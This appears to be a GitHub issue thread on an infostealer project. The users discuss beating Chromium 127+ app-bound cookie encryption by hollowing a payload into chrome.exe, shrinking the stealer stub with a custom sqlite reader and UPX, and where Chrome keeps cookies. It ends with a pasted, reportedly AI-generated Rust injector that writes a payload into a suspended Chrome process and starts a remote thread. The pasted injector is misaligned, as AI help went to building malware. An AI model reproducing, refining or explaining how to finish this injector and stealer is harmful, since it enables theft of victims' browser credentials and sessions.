[FEATURE] if it possible and if there is anything i can do to help you support Chromium 127 and up

[voidgod888]

Describe your feature request.

Chromium support for 127 and up

Additional context

No response

Have you seen this feature elsewhere?

https://github.com/moonD4rk/HackBrowserData

How do you envision this feature being implemented?

No response

[voidgod888]

i know this is in go but if it help https://github.com/moonD4rk/HackBrowserData

[sqlerrorthing]

This is so hard and depends on stable version on hollowing and selfcoded sqlite3 reader.

I accept any help, especially with code

[voidgod888]

This is so hard and depends on stable version on hollowing and selfcoded sqlite3 reader.

I accept any help, especially with code

you know about https://github.com/Whitecat18/Rust-for-Malware-Development it really good

[voidgod888]

and if this can help https://github.com/Teach2Breach/hollow_rs

[sqlerrorthing]

what depends on stable version on hollowing and selfcoded sqlite3 reader?

my skill issue & hard to me.
hollowing used to run your payload from another process, used for run your .exe in chrome.exe to elevate your permissions to decrypt ABEC, without admin privileges.

selfcoded sqlite3 makes the stealer independed on sqlite3.c, they takes 75% of build size, selfcode is required for make the stub less in size in multiple times. this needed to include the custom payload (to hollow) into stub.

[sqlerrorthing]

and if this can help https://github.com/Teach2Breach/hollow_rs

needed TRANSACTED hollwing.

[voidgod888]

what depends on stable version on hollowing and selfcoded sqlite3 reader?

my skill issue & hard to me. hollowing used to run your payload from another process, used for run your .exe in chrome.exe to elevate your permissions to decrypt ABEC, without admin privileges.

selfcoded sqlite3 makes the stealer independed on sqlite3.c, they takes 75% of build size, selfcode is required for make the stub less in size in multiple times. this needed to include the custom payload (to hollow) into stub.

i know it a stupid question but if you have time to explain to me why you use sqlite3

[sqlerrorthing]

why i use sqlite3 as a library (sqlite3.c) or why i used sqlite3 as db in project?

[voidgod888]

why i use sqlite3 as a library (sqlite3.c) or why i used sqlite3 as db in project?

why you used sqlite3 as db in project

[sqlerrorthing]

why i use sqlite3 as a library (sqlite3.c) or why i used sqlite3 as db in project?

1. cuz sqlite3.c is a standart sqlite3 impl in C.
2. cuz chromium & gecko (firefox) uses sqlite3 to store their data. for example, the chromium cookies stores in sqlite3 table by path: <profile>/Network/Cookies in table Cookies.

[voidgod888]

and what happend if you strip the part of sqlite3 of which chromium & gecko and the stealer doesnt need will that reduce the size of the stub

[sqlerrorthing]

Currently, the stub size is about 800KB. if i replace full implementation of sqlite in c by small part which only read tables. the size will be reduced by 300KB, and after it, you can use upx to reduce the size in 1.5 or more times

[voidgod888]

ok i have asked ai to create me this use std::fs::File;
use std::io::Read;
use std::mem::zeroed;
use std::ptr::null_mut;
use std::ffi::OsStr;
use std::os::windows::ffi::OsStrExt;

use winapi::um::processthreadsapi::;
use winapi::um::memoryapi::;
use winapi::um::winnt::*;
use winapi::um::winbase::CREATE_SUSPENDED;
use winapi::um::handleapi::CloseHandle;

fn to_wide(s: &str) -> Vec {
OsStr::new(s).encode_wide().chain(Some(0)).collect()
}

fn main() {
let target = "C:\Program Files\Google\Chrome\Application\chrome.exe"; // Dummy target
let payload_path = "payload.exe"; // Your payload to inject

println!("[*] Reading payload from '{}'", payload_path);

let mut file = match File::open(payload_path) {
    Ok(f) => f,
    Err(e) => {
        eprintln!("[!] Failed to open payload: {}", e);
        return;
    }
};
let mut payload = Vec::new();
if let Err(e) = file.read_to_end(&mut payload) {
    eprintln!("[!] Failed to read payload: {}", e);
    return;
}

println!("[+] Payload loaded ({} bytes)", payload.len());

let mut si: STARTUPINFOW = unsafe { zeroed() };
let mut pi: PROCESS_INFORMATION = unsafe { zeroed() };
si.cb = std::mem::size_of::<STARTUPINFOW>() as u32;

println!("[*] Creating suspended process '{}'", target);

let success = unsafe {
    CreateProcessW(
        to_wide(target).as_ptr(),
        null_mut(),
        null_mut(),
        null_mut(),
        0,
        CREATE_SUSPENDED,
        null_mut(),
        null_mut(),
        &mut si,
        &mut pi,
    )
};

if success == 0 {
    eprintln!("[!] Failed to create process");
    return;
}

println!("[+] Process created (PID: {})", unsafe { pi.dwProcessId });

let remote_address = unsafe {
    VirtualAllocEx(
        pi.hProcess,
        null_mut(),
        payload.len(),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE,
    )
};

if remote_address.is_null() {
    eprintln!("[!] Failed to allocate memory in target process");
    return;
}

println!("[+] Allocated memory at remote address: 0x{:X}", remote_address as usize);

let mut written = 0;
let result = unsafe {
    WriteProcessMemory(
        pi.hProcess,
        remote_address,
        payload.as_ptr() as _,
        payload.len(),
        &mut written,
    )
};

if result == 0 || written != payload.len() {
    eprintln!("[!] Failed to write payload to remote process");
    return;
}

println!("[+] Wrote {} bytes of payload to remote process", written);

let thread_handle = unsafe {
    CreateRemoteThread(
        pi.hProcess,
        null_mut(),
        0,
        Some(std::mem::transmute(remote_address)),
        null_mut(),
        0,
        null_mut(),
    )
};

if thread_handle.is_null() {
    eprintln!("[!] Failed to create remote thread");
    return;
}

println!("[+] Remote thread created successfully!");

unsafe {
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(thread_handle);
}

println!("[✔] Injection complete. Process hollowing with payload done.");

}
is it any good?